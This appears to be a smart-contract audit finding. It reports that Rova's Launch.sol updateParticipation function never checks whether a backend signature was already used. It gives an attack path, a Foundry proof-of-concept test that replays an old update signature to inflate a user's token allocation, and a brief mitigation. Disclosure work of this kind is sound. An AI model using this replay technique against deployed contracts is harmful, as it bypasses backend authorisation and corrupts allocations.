Perfect Syrup Elk

Medium

# `updateParticipation` allows reusing the same signature many times, allowing user to update their positions multiple times and having two positions with non zero amount of tokens in the same launch group

### Summary

`updateParticipation` does not check if signature was used, which allows to update `userTokenAmountByLaunchGroup` without backend permisson. Also it allows user to have multiple participations inside launch group which does not finalize with non zero amount of tokens (This should not be the case after discussion with the sponsor)

https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L312-L377
![Image](https://sherlock-files.ams3.digitaloceanspaces.com/gh-images/9d3c8cf0-93b8-40dc-8ecb-505703e10c82)



### Root Cause

`updateParticipation` function does not check if signature was used and if new participation id was already used and also it doesn't check if prevInfo is zero amount which means it doesn't check if specific signature was already used.

### Internal Pre-conditions

There has to be an active launch group that does not finalize on participation created by admin.

### External Pre-conditions

User has to have participation in above mentioned group and backend that signs update requests for the user. 

### Attack Path

1. Let's assume user has position that does not finalize on participation with tokenAmount = 1000 and participationId = 1.
2. User requests signature from backend for update request where new token amount is equal to 2000, and newParticipationId = 2
3. User calls update signature providing signature and update request struct
4. Contract updates its state, setting `_userTokenByLaunchGroup` for user id to 2000. In the system now user has one participation with non zero token amount (participation1.tokenAmount = 0, participation2.tokenAmount = 2000)
5. Some time passes by and user requests another update signature from backend where newTokenAmount = 4000
6. User calls updatePariticipation providing signature and updateRequest info where new token amount = 4000 and participationId = 3
7. Protocol updates `_userTokenLaunchGroup` for userId to 4000. In the system now user has one participation with non zero token amount (participation1.tokenAmount = 0, participation2.tokenAmount =0, participation3.tokenAmount = 4000)
8. System expects that user can only update their `_userTokenLaunchGroup` if they request another signature.
9. But user calls `updateParticipation` once again using first signature once again.
10. Now User without backend permission updated his `_userTokenLaunchGroup`
by 2000 (newTokenAmount in first request) and has two participations with non zero token amount (participation1.tokenAmount = 0, participation2.tokenAmount = 2000, participation3.tokenAmount = 4000)   

Additional Note:
After this scenario user can reuse their signature 1 once again, it wouldnt increase participation2.tokenAmount but it would increase `_userTokenLaunchGroup` which could lead to even more unexpected behaviour, leading to incorrect calculations on the backend. 

### Impact

Protocol invariant broken. User can reuse their updateRequest leading to unexpected behaviour from backend's perspective. It's possible that backend maybe stopped issuing update signatures due to internal logic expecting that no user will update their positions, but user is able to bypass that.

### PoC

Poc shows similar as one mentioned in the attack path

```solidity
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {LaunchGroupSettings, LaunchGroupStatus, ParticipationRequest, UpdateParticipationRequest, ParticipationInfo, CurrencyConfig} from "../src/Types.sol";
import {console} from "lib/forge-std/src/console.sol";

contract POCUserCanHaveTwoPositions is Test, Launch, LaunchTestBase {
    LaunchGroupSettings public settings;
    ParticipationRequest public originalParticipationRequest;

    function setUp() public {
        _setUpLaunch();

        // Setup initial participation
        settings = _setupLaunchGroup();

        LaunchGroupSettings memory updatedSettings = settings;
        updatedSettings.maxTokenAmountPerUser =
            settings.maxTokenAmountPerUser *
            2;

        //set maxTokenAllocationPerUser to bigger number
        vm.startPrank(manager);
        launch.setLaunchGroupSettings(
            "ch72gsb320000udocl363eofy",
            updatedSettings
        );
        vm.stopPrank();
        vm.startPrank(admin.addr);
        currency.transfer(user1, 4000 * 10 ** launch.tokenDecimals()); //deal additional tokens to user
        vm.stopPrank();

        originalParticipationRequest = _createParticipationRequest();
        bytes memory signature = _signRequest(
            abi.encode(originalParticipationRequest)
        );

        vm.startPrank(user1);
        currency.approve(
            address(launch),
            _getCurrencyAmount(
                originalParticipationRequest.launchGroupId,
                originalParticipationRequest.currency,
                originalParticipationRequest.tokenAmount
            )
        );
        launch.participate(originalParticipationRequest, signature);

        vm.stopPrank();
    }

    function test_UpdateParticipation_allows_User_to_have_two_positions()
        public
    {
        // Prepare update participation request
        // backend signs update participation request so userTokenAmountByLaunchGroup should be only increased by this token amount - prevInfo.tokenAmount
        uint256 firstUpdateTokenAmount = 2000;
        UpdateParticipationRequest // first updateRequest
            memory updateRequest = _createUpdateParticipationRequest(
                firstUpdateTokenAmount
            );
        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

        vm.startPrank(user1);
        uint256 updatedCurrencyAmount = _getCurrencyAmount(
            updateRequest.launchGroupId,
            updateRequest.currency,
            updateRequest.tokenAmount
        );
        currency.approve(address(launch), type(uint256).max);

        uint256 userTokensByLaunchGroup = launch.getUserTokensByLaunchGroup(
            updateRequest.launchGroupId,
            updateRequest.userId
        );

        // Expect ParticipationUpdated event
        vm.expectEmit();
        emit ParticipationUpdated(
            updateRequest.launchGroupId,
            updateRequest.newLaunchParticipationId,
            testUserId,
            user1,
            updateRequest.tokenAmount,
            address(currency)
        );

        // Update participation
        // user uses first signature to increase userAmountOfTokensByLaunch group by  1000 (newInfo.tokenAmount - prevInfo.tokenAmount)
        launch.updateParticipation(updateRequest, updateSignature);

        uint256 userTokensByLaunchGroupAfterFirstUpdate = launch
            .getUserTokensByLaunchGroup(
                updateRequest.launchGroupId,
                updateRequest.userId
            );

        assert(
            userTokensByLaunchGroupAfterFirstUpdate - userTokensByLaunchGroup ==
                1000 * 10 ** 18
        );

        // some time pases by and user request another update signature from backend
        uint tokenAmountOnSecondUpdate = 4000;

        UpdateParticipationRequest // first updateRequest
            memory updateRequest2 = _createUpdateParticipationRequest2(
                tokenAmountOnSecondUpdate
            );

        bytes memory updateSignature2 = _signRequest(
            abi.encode(updateRequest2)
        );
        launch.updateParticipation(updateRequest2, updateSignature2);

        uint256 userTokensByLaunchGroupAfterSecondUpdate = launch
            .getUserTokensByLaunchGroup(
                updateRequest.launchGroupId,
                updateRequest.userId
            );

        assert(
            userTokensByLaunchGroupAfterSecondUpdate ==
                tokenAmountOnSecondUpdate * 10 ** 18
        );

        //now system expects that user can have only one position with non zero amount of sale tokens and in order to again update their user token amount in launch group they need to ask backend for another signature
        // but user can use first signature again increasing their token amount in launch group and having 2 participations with non zero amount of sale tokens

        launch.updateParticipation(updateRequest, updateSignature);

        uint256 userTokensByLaunchGroupAfterSignatureReplay = launch
            .getUserTokensByLaunchGroup(
                updateRequest.launchGroupId,
                updateRequest.userId
            );
        assert(
            userTokensByLaunchGroupAfterSignatureReplay ==
                userTokensByLaunchGroupAfterSecondUpdate +
                    firstUpdateTokenAmount *
                    10 ** 18
        );

        // Verify update
        ParticipationInfo memory thirdParticipationIdInfo = launch
            .getParticipationInfo(updateRequest2.newLaunchParticipationId);
        ParticipationInfo memory secondParticipationIdInfo = launch
            .getParticipationInfo(updateRequest.newLaunchParticipationId);
        ParticipationInfo memory firstParticipationIdInfo = launch
            .getParticipationInfo(updateRequest.prevLaunchParticipationId);

        assert(
            thirdParticipationIdInfo.tokenAmount ==
                tokenAmountOnSecondUpdate * 10 ** 18
        );
        assert(
            secondParticipationIdInfo.tokenAmount ==
                firstUpdateTokenAmount * 10 ** 18
        );
        assertEq(firstParticipationIdInfo.currencyAmount, 0);
        assertEq(firstParticipationIdInfo.tokenAmount, 0);

        // Verify total unique participants by launch group
        assertEq(
            launch.getNumUniqueParticipantsByLaunchGroup(testLaunchGroupId),
            1
        );

        vm.stopPrank();
    }

    function _verifyParticipationInfo(
        ParticipationInfo memory info,
        UpdateParticipationRequest memory updateRequest
    ) internal view {
        assertEq(info.userAddress, user1);
        assertEq(info.userId, testUserId);
        assertEq(info.tokenAmount, updateRequest.tokenAmount);
        assertEq(
            info.currencyAmount,
            _getCurrencyAmount(
                updateRequest.launchGroupId,
                updateRequest.currency,
                updateRequest.tokenAmount
            )
        );
        assertEq(info.currency, address(currency));
        assertEq(info.isFinalized, false);
    }

    function _createUpdateParticipationRequest(
        uint256 newTokenAmount
    ) internal view returns (UpdateParticipationRequest memory) {
        uint256 launchTokenDecimals = launch.tokenDecimals();
        return
            UpdateParticipationRequest({
                chainId: block.chainid,
                launchId: testLaunchId,
                launchGroupId: testLaunchGroupId,
                prevLaunchParticipationId: testLaunchParticipationId,
                newLaunchParticipationId: "newLaunchParticipationId",
                userId: testUserId,
                userAddress: user1,
                tokenAmount: newTokenAmount * 10 ** launchTokenDecimals,
                currency: address(currency),
                requestExpiresAt: block.timestamp + 1 hours
            });
    }

    function _createUpdateParticipationRequest2(
        uint256 newTokenAmount
    ) internal view returns (UpdateParticipationRequest memory) {
        uint256 launchTokenDecimals = launch.tokenDecimals();
        return
            UpdateParticipationRequest({
                chainId: block.chainid,
                launchId: testLaunchId,
                launchGroupId: testLaunchGroupId,
                prevLaunchParticipationId: "newLaunchParticipationId",
                newLaunchParticipationId: "newLaunchParticipation_2",
                userId: testUserId,
                userAddress: user1,
                tokenAmount: newTokenAmount * 10 ** launchTokenDecimals,
                currency: address(currency),
                requestExpiresAt: block.timestamp + 1 hours
            });
    }
}

```

### Mitigation

Check if newParitcipation's userId is != bytes32(0)